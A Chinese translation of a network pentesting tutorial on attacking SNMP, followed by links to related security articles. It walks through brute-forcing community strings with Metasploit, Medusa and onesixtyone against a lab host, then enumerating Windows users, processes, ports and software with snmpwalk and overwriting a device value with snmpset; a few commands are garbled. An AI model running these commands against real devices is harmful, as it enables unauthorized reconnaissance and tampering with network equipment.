Hacking SNMP Service - The Post Exploitation :Attacking Network - Network Pentesting原文地址:
http://www.websecgeeks.com/2017/ ... ce-part-1-post.html
http://www.websecgeeks.com/2017/ ... ce-part-2-post.html
prison翻译整理,首发i春秋。

引言:

SNMP安全相关信息是需要各位安全开发人员,渗透测试工程师以及白帽子所需要关心的内容,在本篇文章中,作者通过对其漏洞的分析和实践直观的让读者对其相关内容进行了解。对入门学员可能会有所帮助。难度:三颗星

查看图片


SNMP(SimpleNetwork Management Protocol)
关于SNMP的介绍大家可以很容易的从网络上找到相关介绍,在此不再赘述。
我们本次展示的是爆破SNMP服务字符串实现攻击。
注:以下所有“字符串”都为:Coummunity Strings
那么问题来了,为什么我们选择攻击SNMP字符串
SNMP只读类字符串类似于用户id或密码。它与每个SNMP get请求一起发送,并允许(或拒绝)访问路由器或其他设备的统计信息。如果字符串是正确的,设备将响应请求的信息。如果字符串不正确,设备就会忽略请求而不响应。
我们可以用Coummunty Strings做什么?
默认的字符串是“public”和“private”的,带有“ro”(只读)和“rw”(读和写)。
如你所见,只读意味着用户只能读取信息和读写,读和写意味着用户可以对SNMP中的信息进行写/更新。
什么是SNMP中的MIB
SNMP管理信息基础(MIB)是一个包含信息的数据库。
通常与网络管理有关。数据库像树一样组织起来,在那里
分支代表不同的组织或网络功能。树上的叶子
(最终的端点)对应于可以访问的特定变量值,以及
由外部用户探测。要了解更多关于MIB树的信息,请参阅下面的内容

http://publib.boulder.ibm.com/infocenter/pseries/v5r3/index.jsp?topic=/com.ibm.aix.progcom/doc/progcomc/mib.htm

所以SNMP在UDP端口运行时还在网络中执行基于UDP的扫描。
A) Metasploit

用于SNMP auxiliary/scanner/snmp/snmp_login 

设置一下参数并运行,可以看到Metasploit成功运行,在Community String中显示”mike”

就我个人来说,我比较推荐攻击Community Strings使用Metasploit,因为和其他工具相比,它的运行速度相对来说比较快。
B) Medusa
因为这个软件的速度也非常快,所以它对于破解SNMP字符串也非常有用。

[AppleScript] 纯文本查看 复制代码
1
medusa -h 192.168.131.135 -u admin -P Desktop/demo/wordlist -M snmp

Here no user of "-u admin" but Medusa required thisvalue so we are giving it fulfilled the requirement.

同样的,Medusa发现了值wei”mike”的字符串。.
C ) onesixtyone

[AppleScript] 纯文本查看 复制代码
1
2
[/size]
[size=4]onesixtyone – c password 192.168.131.135

Onesoxtyone工具,它还试图使用基于字典的尝试猜测/破解SNMP社区字符串。
正如我们在下面看到的,它已经确定了“mike”是有效的字符串。
查看图片

(二)
查看图片

我们已经通过Nmap扫描和爆破社区字符串值来识别Community字符串。
现在我们将看到,如何使用这些提取的Community字符串来进行后期开发。
我们将使用如下所示的各种工具。
例如,下面的MIB值对应于特定的MicrosoftWindows SNMP参数。

[AppleScript] 纯文本查看 复制代码
1
2
3
4
5
6
7
1.3.6.1.2.1.25.1.6.0系统进程
1.3.6.1.2.1.25.4.2.1.2运行程序
1.3.6.1.2.1.25.4.2.1.4流程路径
1.3.6.1.2.1.25.2.3.1.4存储单元
1.3.6.1.2.1.25.6.3.1.2软件名称
1.3.6.1.4.1.77.1.2.25用户帐户
1.3.6.1.2.1.6.13.1.3 TCP 本地端口

一)SNAMPWALK
我们已经将”mike”作为Community字符串了,现在我们将其传递给SNMPWALK工具,然后将目标IP作为目标。这将从SNMP服务中提取所有可能的信息。

[AppleScript] 纯文本查看 复制代码
1
snmpwalk -v1 -c mike 192.168.131.135

查看图片

输出数据量非常大,所以我将输出重定向到一个文件中去。

[AppleScript] 纯文本查看 复制代码
1
snmpwalk -v1 -c mike 192.168.131.135 > snmpout.txt

查看图片

正如你在下面看到的,此时我们有很多MIB值输出。

查看图片

我们可以在snmpwalk中使用MIB值来做一些特定的搜索:

[AppleScript] 纯文本查看 复制代码
1
snmpwalk-c:v1192.168.11.204

在我们的案例中,Community字符串是-mike

[AppleScript] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
提取Windows用户:
 
snmpwalk  -c mike  -v1 192.168.131.135 1.3.6.1.4.1.77.1.2.25
  
提取Windows系统进程:
snmpwalk ­‐c mike  ‐v1 192.168.131.135 1.3.6.1.2.1.25.4.2.1.2
提取开放的TCP端口:
snmpwalk ‐c mike  ‐v1 192.168.131.135 1.3.6.1.2.1.6.13.1.3
提取已安装的软件:
snmpwalk ‐c mike  ­‐v1 192.168.131.135 1.3.6.1.2.1.25.6.3.1.2

现在,为了验证这个Community字符串是否可写,我们将使用另一个工具SNMPSET
snmpset -v1 -cmike 192.168.131.135 iso.3.6.1.2.1.1.5.0 s SomeOneWasHere
这里的“iso.3.6.1.1.1.5.0”为“bhati”的值,它是从snmpwalk输出文件中挑选出来的。
查看图片

这个snmpset -v1 -cmike 192.168.131.135 iso.3.6.1.2.1.1.5.0 s SomeOneWasHere命令将会继续,并将“bhati”的值更改为SNMP中的“SomeOneWasHere”。让我们试试这个。
我们的命令成功。
查看图片

现在,让我们使用SNMPWALK重新扫描我们的SNMP目标
如你所见,这个值已经被更改为“SomeOneWasHere”。
查看图片

现在我们确认,我们的社区字符串“mike”有写属性。现在,我们应该转向下一部分,从目标机器中搞一点事情。
B)SNMPCHECK
snmpcheck工具将使用我们发现的社区字符串“mike”来目标机器的重要信息。

snmpcheck.rb -c mike 192.168.131.135

如果在运行此命令时出现错误,请参见snmpcheck的帮助部分,后面是-h,您的版本可能是旧的或更新的。
查看图片

C)Metasploit
我们可以使用metasploit辅助设备实现同样的信息。
auxiliary/scanner/snmp/snmp_enum
填充所需的值。
查看图片

现在只要点击“运行”,你就会看到我们的目标机器上有大量的Meal出现。

查看图片

查看图片

一次对SNMP服务的渗透测试的更多相关文章

  1. 详述MSSQL服务在渗透测试中的利用(上篇)

    前言: 致力于复现最实用的漏洞利用过程. 本文将带领大家学习以下内容: 学习使用`xp_cmdshell`扩展存储过程 学习调用`wscript.shell` 学习MSSQL写文件 学习沙盘模式提权 ...

  2. 详述MySQL服务在渗透测试中的利用

    本文作者:i春秋签约作家——Binghe 致力于书写ichunqiu社区历史上最长篇最细致最真实的技术复现文章. 文章目录: MySQL之UDF提权 MySQL之MOF提权 MySQL之常规写启动项提 ...

  3. 详述MSSQL服务在渗透测试中的利用 (下篇)

    part3 MSSQL写文件 步骤1 sp_makewebtask写文件 因为是`SA`权限,如果目标服务器是web服务器,我们也不用去备份了,可以直接写个一句话木马进去到web目录. 在不知道web ...

  4. 《Metasploit渗透测试魔鬼训练营》第一章读书笔记

    第1章 魔鬼训练营--初识Metasploit 20135301 1.1 什么是渗透测试 1.1.1 渗透测试的起源与定义 如果大家对军事感兴趣,会知道各国军队每年都会组织一些军事演习来锻炼军队的攻防 ...

  5. 《metasploit渗透测试魔鬼训练营》学习笔记第五章--网络服务渗透攻击

    三.网络服务渗透攻击 3.1 内存攻防技术      3.1.1 缓冲区溢出漏洞机理              缓冲区溢出是程序由于缺乏对缓冲区的边界条件检查而引起的一种异常行为.           ...

  6. Kali linux渗透测试常用工具汇总1

    1.ProxyChains 简介:代理工具.支持HTTP/SOCKS4/SOCK5的代理服务器,允许TCP/DNS通过代理隧道. 应用场景:通过代理服务器上网. 配置:/etc/proxychains ...

  7. Kali Linux Web 渗透测试视频教程— 第十三课-密码破解

    Kali Linux Web 渗透测试— 第十三课-密码破解 文/玄魂 目录 Kali Linux Web 渗透测试— 第十三课-密码破解............................... ...

  8. Web渗透测试笔记(基础部分)

    信息收集: dns信息收集 格式:dns... -参数 域名 -参数 示例: root@xxSec:~# dnsenum baidu.com root@xxSec:~# dnsenum -f dns. ...

  9. Kali Linux渗透测试实战 1.1 Kali Linux简介

    1.1 Kali Linux简介 如果您之前使用过或者了解BackTrack系列Linux的话,那么我只需要简单的说,Kali是BackTrack的升级换代产品,从Kali开始,BackTrack将成 ...

随机推荐

  1. Java编写串口程序

    用Java编写串口程序一般都会用到这个 http://fizzed.com/oss/rxtx-for-java 根据电脑的情况下载 解压以后有安装文档 For a JDK installation: ...

  2. <Dare To Dream 团队>第一次作业:团队亮相

    队名:Dare To Dream 2.团队成员组成:学号/姓名(标记团队组长): 201571030333/绽玉林(组长) 201571030132/姚慧霞 201571030308/李金平    2 ...

  3. XGBoost参数调优小结

    https://mp.weixin.qq.com/s?__biz=MzU0MDQ1NjAzNg==&mid=2247485630&idx=1&sn=9edf2bfd771cf4 ...

  4. html 中使用 iconfont、fontAwesome

    在HTML中尽量使用iconfont 替代图片有很多好处,而且方便,可以设置大小.颜色 等 可以用于字体的设置. 一.使用iconfont 1.打开iconfont 官网 iconfont.cn. 2 ...

  5. Lock关键字

    public abstract class CountBase { public abstract void Increment(); public abstract void Decreament( ...

  6. HDU6446 Tree and Permutation(树上DP)

    传送门:点我 Tree and Permutation Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/65536 K (J ...

  7. Python+Selenium学习--自动化测试模型

    前言 一个自动化测试框架就是一个集成体系,在这一体系中包含测试功能的函数库.测试数据源.测试对象识别标准,以及种可重用的模块.自动化测试框架在发展的过程中经历了几个阶段,模块驱动测试.数据驱动测试.对 ...

  8. Linux vfpd锁定用户目录

    在linux ftp配置中,为了防止用户cd 到其他目录,需要锁定用户的根目录. Step1:修改配置文件 [root@ess ~]# vi /etc/vsftpd/vsftpd.conf #chro ...

  9. Springboot学习07-数据源Druid

    Springboot学习07-数据源Druid 关键字 Druid 前言 学习笔记 正文 1-Druid是什么 Druid是阿里巴巴开源平台上的一个项目,整个项目由数据库连接池.插件框架和SQL解析器 ...

  10. Linux 里的 2>&1含义

    我们在Linux下经常会碰到nohup command>/dev/null 2>&1 &这样形式的命令.首先我们把这条命令大概分解下: 首先就是一个nohup:表示当前用户 ...